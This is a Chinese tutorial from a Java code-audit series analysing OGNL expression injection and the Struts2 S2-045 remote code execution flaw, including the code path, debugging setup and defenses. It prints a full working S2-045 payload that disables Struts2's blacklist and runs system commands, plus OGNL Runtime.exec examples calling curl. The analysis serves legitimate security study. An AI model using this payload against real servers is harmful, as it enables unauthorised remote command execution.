从零开始java代码审计系列(三)
字数 1612 2025-08-29 08:32:09

Java代码审计系列(三):OGNL表达式注入与S2-045漏洞分析

1. OGNL表达式基础

1.1 什么是OGNL

OGNL(Object-Graph Navigation Language)是一种功能强大的表达式语言,用于获取和设置Java对象的属性。它提供了更高抽象度的语法来导航Java对象图。

主要特点:

  • 简洁的语法完成Java对象导航
  • 通过"路径"访问对象信息,而非直接使用get/set方法
  • 可以完成列表映射和选择等操作

1.2 OGNL三要素

  1. 表达式:最重要的部分,告诉OGNL需要执行什么操作
  2. ROOT对象:OGNL操作的目标对象
  3. 上下文环境:限定操作执行的环境,是一个MAP结构

1.3 OGNL基本语法

  • 访问上下文环境参数:表达式前加#
  • 访问静态变量/调用静态方法:@[class]@[field/method()]
  • 构造任意对象:直接使用已知对象的构造方法

1.4 OGNL执行命令示例

// 方式一:使用Ognl.getValue
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", 
             context, context.getRoot());

// 方式二:使用Ognl.setValue
Ognl.setValue(Runtime.getRuntime().exec("curl http://127.0.0.1:10000/"), 
             context, context.getRoot());

2. S2-045漏洞分析

2.1 漏洞背景

S2-045是Struts2框架中的一个远程代码执行漏洞,源于Jakarta文件上传组件对Content-Type头的错误处理,导致OGNL表达式注入。

2.2 漏洞触发流程

  1. 请求封装

    • PrepareOperations.wrapRequest()将HTTP请求封装成对象
    • 检查Content-Type是否包含"multipart/form-data"
  2. 异常触发

    • 当Content-Type不以"multipart/"开头时,抛出InvalidContentTypeException
    • 异常信息中包含用户可控的Content-Type内容
  3. OGNL解析

    • 异常信息被传递到LocalizedTextUtil.findText()
    • 最终到达TextParseUtil.translateVariables()
    • 恶意OGNL表达式被执行

2.3 关键代码分析

// Dispatcher.wrapRequest() 检查Content-Type
String content_type = request.getContentType();
if (content_type != null && content_type.contains("multipart/form-data")) {
    // 处理multipart请求
} else {
    // 其他请求处理
}

// FileItemIteratorImpl 验证Content-Type格式
if (null != contentType && !contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {
    throw new FileUploadBase.InvalidContentTypeException(...);
}

// TextParseUtil.translateVariables() 解析OGNL
String lookupChars = open + "{";
while (true) {
    int start = expression.indexOf(lookupChars, pos);
    // 解析并执行OGNL表达式
}

3. 漏洞利用分析

3.1 典型POC

Content-Type: %{
  (#nike='multipart/form-data').
  (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
  (#memberAccess?(#memberAccess=#dm):(
    (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
    (#ognlUtil.getExcludedPackageNames().clear()).
    (#ognlUtil.getExcludedClasses().clear()).
    (#context.setMemberAccess(#dm))
  )).
  (#cmd='"whoami"').
  (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
  (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
  (#p=new java.lang.ProcessBuilder(#cmds)).
  (#p.redirectErrorStream(true)).
  (#process=#p.start()).
  (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
  (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
  (#ros.flush())
};

3.2 POC解析

  1. 绕过黑名单

    • Struts2默认黑名单包含java.lang.Runtime等危险类
    • POC先获取DEFAULT_MEMBER_ACCESS
    • 通过getInstance实例化OgnlUtil
    • 清除黑名单(excludedPackageNamesexcludedClasses)
    • 使用setMemberAccess覆盖原有设置
  2. 命令执行

    • 检测操作系统类型
    • 根据系统类型构造相应命令
    • 创建ProcessBuilder执行命令
    • 获取响应输出流回显结果

3.3 黑名单机制

Struts2在struts-default.xml中定义的黑名单:

<constant name="struts.excludedClasses" 
          value="java.lang.Object, java.lang.Runtime, java.lang.System, java.lang.Class, 
                 java.lang.ClassLoader, java.lang.Shutdown, java.lang.ProcessBuilder, 
                 ognl.OgnlContext, ognl.ClassResolver, ognl.TypeConverter, ognl.MemberAccess, 
                 ognl.DefaultMemberAccess, com.opensymphony.xwork2.ognl.SecurityMemberAccess, 
                 com.opensymphony.xwork2.ActionContext"/>
                 
<constant name="struts.excludedPackageNames" 
          value="java.lang.,ognl,javax,freemarker.core,freemarker.template"/>

4. 环境搭建与调试

4.1 环境准备

  1. 使用Docker搭建漏洞环境
  2. IDEA导入Maven项目
  3. 配置远程调试

4.2 调试技巧

  1. 关键断点设置:

    • PrepareOperations.wrapRequest()
    • Dispatcher.wrapRequest()
    • FileItemIteratorImpl构造函数
    • TextParseUtil.translateVariables()
  2. 调试流程:

    • 跟踪Content-Type处理流程
    • 观察异常抛出和传递
    • 监控OGNL表达式解析过程

5. 防御措施

  1. 升级Struts2到最新安全版本
  2. 禁用危险的OGNL表达式功能
  3. 加强输入验证,特别是Content-Type头
  4. 实施严格的黑名单机制
  5. 使用Web应用防火墙(WAF)拦截恶意请求

6. 总结

S2-045漏洞展示了框架设计中的安全风险:

  • 异常处理流程中的安全隐患
  • 表达式注入的威力
  • 黑名单机制的局限性

通过分析此漏洞,安全研究人员可以:

  1. 深入理解OGNL表达式注入原理
  2. 掌握Struts2框架的内部工作机制
  3. 学习复杂漏洞的利用技巧
  4. 提高代码审计能力
Java代码审计系列(三):OGNL表达式注入与S2-045漏洞分析 1. OGNL表达式基础 1.1 什么是OGNL OGNL(Object-Graph Navigation Language)是一种功能强大的表达式语言,用于获取和设置Java对象的属性。它提供了更高抽象度的语法来导航Java对象图。 主要特点: 简洁的语法完成Java对象导航 通过"路径"访问对象信息,而非直接使用get/set方法 可以完成列表映射和选择等操作 1.2 OGNL三要素 表达式 :最重要的部分,告诉OGNL需要执行什么操作 ROOT对象 :OGNL操作的目标对象 上下文环境 :限定操作执行的环境,是一个MAP结构 1.3 OGNL基本语法 访问上下文环境参数:表达式前加 # 访问静态变量/调用静态方法: @[class]@[field/method()] 构造任意对象:直接使用已知对象的构造方法 1.4 OGNL执行命令示例 2. S2-045漏洞分析 2.1 漏洞背景 S2-045是Struts2框架中的一个远程代码执行漏洞,源于Jakarta文件上传组件对Content-Type头的错误处理,导致OGNL表达式注入。 2.2 漏洞触发流程 请求封装 : PrepareOperations.wrapRequest() 将HTTP请求封装成对象 检查Content-Type是否包含"multipart/form-data" 异常触发 : 当Content-Type不以"multipart/"开头时,抛出 InvalidContentTypeException 异常信息中包含用户可控的Content-Type内容 OGNL解析 : 异常信息被传递到 LocalizedTextUtil.findText() 最终到达 TextParseUtil.translateVariables() 恶意OGNL表达式被执行 2.3 关键代码分析 3. 漏洞利用分析 3.1 典型POC 3.2 POC解析 绕过黑名单 : Struts2默认黑名单包含 java.lang.Runtime 等危险类 POC先获取 DEFAULT_MEMBER_ACCESS 通过 getInstance 实例化 OgnlUtil 清除黑名单( excludedPackageNames 和 excludedClasses ) 使用 setMemberAccess 覆盖原有设置 命令执行 : 检测操作系统类型 根据系统类型构造相应命令 创建 ProcessBuilder 执行命令 获取响应输出流回显结果 3.3 黑名单机制 Struts2在 struts-default.xml 中定义的黑名单: 4. 环境搭建与调试 4.1 环境准备 使用Docker搭建漏洞环境 IDEA导入Maven项目 配置远程调试 4.2 调试技巧 关键断点设置: PrepareOperations.wrapRequest() Dispatcher.wrapRequest() FileItemIteratorImpl 构造函数 TextParseUtil.translateVariables() 调试流程: 跟踪Content-Type处理流程 观察异常抛出和传递 监控OGNL表达式解析过程 5. 防御措施 升级Struts2到最新安全版本 禁用危险的OGNL表达式功能 加强输入验证,特别是Content-Type头 实施严格的黑名单机制 使用Web应用防火墙(WAF)拦截恶意请求 6. 总结 S2-045漏洞展示了框架设计中的安全风险: 异常处理流程中的安全隐患 表达式注入的威力 黑名单机制的局限性 通过分析此漏洞,安全研究人员可以: 深入理解OGNL表达式注入原理 掌握Struts2框架的内部工作机制 学习复杂漏洞的利用技巧 提高代码审计能力